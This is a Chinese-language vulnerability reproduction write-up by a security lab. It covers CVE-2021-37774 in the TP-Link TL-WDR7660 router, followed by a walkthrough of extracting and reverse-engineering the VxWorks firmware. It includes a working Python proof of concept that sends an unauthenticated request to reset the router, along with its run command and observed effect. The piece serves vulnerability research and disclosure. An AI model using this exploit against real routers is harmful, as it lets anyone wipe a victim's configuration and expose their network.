TL-WDR7660 httpProcDataSrv任意代碼執(zhí)行漏洞復(fù)現(xiàn)分析

01漏洞簡述

2023年1月31日,CNVD公開了一個由國內(nèi)安全研究員提交的TL-WDR7660 httpProcDataSrv任意代碼執(zhí)行漏洞,編號為CNVD-2023-05404,同時公開了漏洞利用詳情,poc代碼鏈接為https://github.com/fishykz/TP-POC。從poc代碼詳情中可以發(fā)現(xiàn),該漏洞于2021年7月由該安全研究員提交給CVE和TP-Link官方,并于2021年8月獲得了CVE編號,編號為CVE- 2021-37774,CVE詳情為https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37774。

1.png

02影響版本

TL-WDR7660路由器2.0.30固件版本

03漏洞復(fù)現(xiàn)

筆者手上正好有一臺閑置的TL-WDR7660千兆版路由器,從路由器背面信息可以看出,該路由器在初始狀態(tài)下,發(fā)出的無線wifi信號名稱為TP-LINK_41B1

2.png

在初始狀態(tài)下,連接TP-LINK_41B1 wifi信號不需要密碼,連接后使用瀏覽器訪問192.168.1.1會進入到初始化界面,需要對路由器后臺密碼、wifi名稱及密碼等進行配置,配置完成后進入路由器后臺,訪問路由設(shè)置->軟件升級,發(fā)現(xiàn)該路由器安裝的固件版本剛好是存在漏洞的2.0.30版本

3.png

下面直接嘗試復(fù)現(xiàn)該漏洞

在poc鏈接中,漏洞作者公開了漏洞驗證python腳本

import sys

import requests

if len(sys.argv) != 2:

exit()

ip = sys.argv[1]

s = requests.Session()

data = "{\"system\":{\"reset\":null},\"method\":\"do\", \"cfgsync\":{\"get_config_info\":null}}"

response = s.post("http://%s/ds" %ip, data=data)

print("Status code: %i" % response.status_code)

print("Response body: %s" % response.content)

微信圖片_20230331132834.png

從作者錄制的漏洞驗證視頻中可以發(fā)現(xiàn),該驗證腳本實現(xiàn)了在未認證情況下的直接重置路由器的效果首先退出路由器后臺登錄狀態(tài),訪問192.168.1.1,此時會提示需要輸入密碼才能進入后臺

4.png

接下來通過運行poc腳本

python wdr7660_CVE-2021-37774.py 192.168.1.1

運行后返回了200狀態(tài)碼,同時提示等待30s的延時

5.png

此時訪問192.168.1.1發(fā)現(xiàn)已經(jīng)無法打開路由器后臺

通過系統(tǒng)的wifi管理界面發(fā)現(xiàn)剛才設(shè)置的wifi名稱密碼已經(jīng)被重置,重新變成了初始的無認證的wifi信號TP-LINK_41B1

6.png

7.png

      等待30s,連接TP-LINK_41B1后,訪問192.168.1.1,發(fā)現(xiàn)該路由器已經(jīng)被重置

04固件分析

漏洞復(fù)現(xiàn)成功后,接下來我們下載TL-WDR7660路由器2.0.30版本固件進行分析

在tp-link官方服務(wù)支持站點中,搜索WDR7660就能找到該固件下載地址

https://service.tp-link.com.cn/download/20207/TL-WDR7660%E5%8D%83%E5%85%86%E7%89%88%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620190830_2.0.30.zip

8.png

固件下載后首先進行壓縮包解壓,得到bin固件文件后再通過binwalk進行解壓分析

binwalk wdr7660gv1-cn-up_2019-08-30_10.37.02.bin --run-as=root

9.png

通過查閱資料發(fā)現(xiàn),TP-LINK TL-WDR7660搭建的固件是基于VxWorks(一種RTOS),通過binwalk解壓分析后并不能得到和其他大部分路由器一樣類似的完整的文件系統(tǒng)。從binwalk的分析結(jié)果來看,該固件主要由一個固件頭部(uImage header)和其他LZMA格式的文件數(shù)據(jù)組成(LZMA是一種壓縮算法)。在uImage header中,有一個表示引導(dǎo)加載程序(uBoot)的入口地址字段,即Entry Point,我們可以根據(jù)這個入口地址提取出uBoot程序。

一般來說,uBoot程序的長度= uImage header的長度+其后緊接的一塊LZMA數(shù)據(jù)的長度,從binwalk的分析結(jié)果中可以看到,uImage header的起始位置為512,其后緊接的第二塊LZMA數(shù)據(jù)的起始位置為66560,所以可以得到uBoot程序的長度= uImage header緊接的第二塊LZMA數(shù)據(jù)的起始位置- uImage header的起始位置= 66560-512 = 66048,根據(jù)這個長度使用dd命令即可提取出uBoot程序

dd wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=uboot.raw bs=1 skip=512 count=66048

10.png

提取出uBoot程序后,注意到uImage header緊接的第二塊LZMA數(shù)據(jù)大小為所有LZMA數(shù)據(jù)中最大的一塊,一般來說這里就是主程序的位置,我們用同樣的辦法把主程序提取出來。主程序的長度= 1422400 - 66560 = 1355840

dd if=wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=main.lzma bs=1 skip=66560 count=1355840

11.png

得到主程序的lzma壓縮包文件之后,嘗試通過lzma進行解壓

lzma -d main.lzma

12.png

解壓后得到main文件,嘗試使用binwalk進行解壓分析

binwalk main

13.png

此時若將該main文件導(dǎo)入到ghidra中,同時搜索漏洞關(guān)鍵字“httpProcDataSrv”,發(fā)現(xiàn)雖然有兩個結(jié)果,但是無法找到對應(yīng)的函數(shù),其他函數(shù)反編譯出來的代碼也基本不可讀

14.png

猜測應(yīng)該是VxWorks系統(tǒng)的分析方式問題,通過查閱資料,發(fā)現(xiàn)

“使用ida或者ghidra等反匯編工具進行分析時,需要了解VxWorks系統(tǒng)的加載基址,否則無法正確地分析系統(tǒng)。VxWorks系統(tǒng)的加載基址與棧初始化地址相同,根據(jù)VxWorks官方給出的說明,其采用usrInit進行棧初始化,而usrInit是VxWorks系統(tǒng)引導(dǎo)后運行的第一個函數(shù),因此可以直接把VxWorks系統(tǒng)文件丟到ida中,先用0作為加載基址,然后找sp寄存器首次出現(xiàn)的位置,就是VxWorks系統(tǒng)的加載基址。”(參考http://blog.nsfocus.net/tp-link-wdr/)

這里其實有個最簡單的辦法,使用IDA或者ghidra打開上文中提取得到的main文件,開頭地址即為加載基址,如下圖,為0x40205000

15.png

獲得加載基址還需要利用符號表修復(fù)函數(shù)名才能對基于VxWorks系統(tǒng)的固件進行較好的反編譯

TP-LINK WDR7660固件的符號表和VxWorks系統(tǒng)文件是分離的,所以需要從binwalk解壓升級文件后得到的文件中尋找符號文件。Bzero是VxWorks中一個函數(shù),系統(tǒng)啟動過程中會使用bzero函數(shù)對bss區(qū)的數(shù)據(jù)進行清零,因此可以利用”grep -r bzero”查找bzero函數(shù),bzero函數(shù)所在的文件即為符號表文件

16-1.png

這里可以看到,bzero函數(shù)在15CBBA文件中,我們可以通過010editor等工具打開文件進行確認

16.png

同時,也可以看出符號表的區(qū)間為0x00008-0x1a728

17.png

18.png

接下來通過IDA打開上述得到的main文件,并將ROM start address與Loading address都設(shè)置為0x40205000

21.png

然后通過一款名為vxhunter的開源反編譯插件利用符號表修復(fù)函數(shù)名,vxhunter支持IDA Pro 7.x/Ghidra 9.x/Radare2等逆向工具,插件地址https://github.com/PAGalaxyLab/vxhunter

22.png

由于Ghidra 9.x版本的vxhunter沒有辦法在導(dǎo)入主程序文件后再加載符號表文件,所以下面使用IDA來進行操作

使用流程:先使用IDA加載上面提取到的主程序文件main,然后在edit->vxHunter->load VxWorks symbol file導(dǎo)入提取到的符號表文件

22-2.png

等待修復(fù)完成后可以看到函數(shù)名已經(jīng)還原,接下來就可以進行正常靜態(tài)分析了

24.png

【59號實驗室】

美創(chuàng)科技旗下第59號實驗室,專注于數(shù)據(jù)安全各技術(shù)領(lǐng)域研究及應(yīng)用,聚焦于最新安全防御理念、國內(nèi)外漏洞、攻防技術(shù)、威脅情報等專業(yè)研究,進行知識產(chǎn)品轉(zhuǎn)化,最終賦能于產(chǎn)品。目前累計為cnvd、ctvd、cnnvd等漏洞接收平臺提報數(shù)百個高質(zhì)量原創(chuàng)漏洞,發(fā)明專利數(shù)十篇,團隊著有《數(shù)據(jù)安全實踐指南》。

(免責(zé)聲明:本網(wǎng)站內(nèi)容主要來自原創(chuàng)、合作伙伴供稿和第三方自媒體作者投稿,凡在本網(wǎng)站出現(xiàn)的信息,均僅供參考。本網(wǎng)站將盡力確保所提供信息的準確性及可靠性,但不保證有關(guān)資料的準確性及可靠性,讀者在使用前請進一步核實,并對任何自主決定的行為負責(zé)。本網(wǎng)站對有關(guān)資料所引致的錯誤、不確或遺漏,概不負任何法律責(zé)任。
任何單位或個人認為本網(wǎng)站中的網(wǎng)頁或鏈接內(nèi)容可能涉嫌侵犯其知識產(chǎn)權(quán)或存在不實內(nèi)容時,應(yīng)及時向本網(wǎng)站提出書面權(quán)利通知或不實情況說明,并提供身份證明、權(quán)屬證明及詳細侵權(quán)或不實情況證明。本網(wǎng)站在收到上述法律文件后,將會依法盡快聯(lián)系相關(guān)文章源頭核實,溝通刪除相關(guān)內(nèi)容或斷開相關(guān)鏈接。 )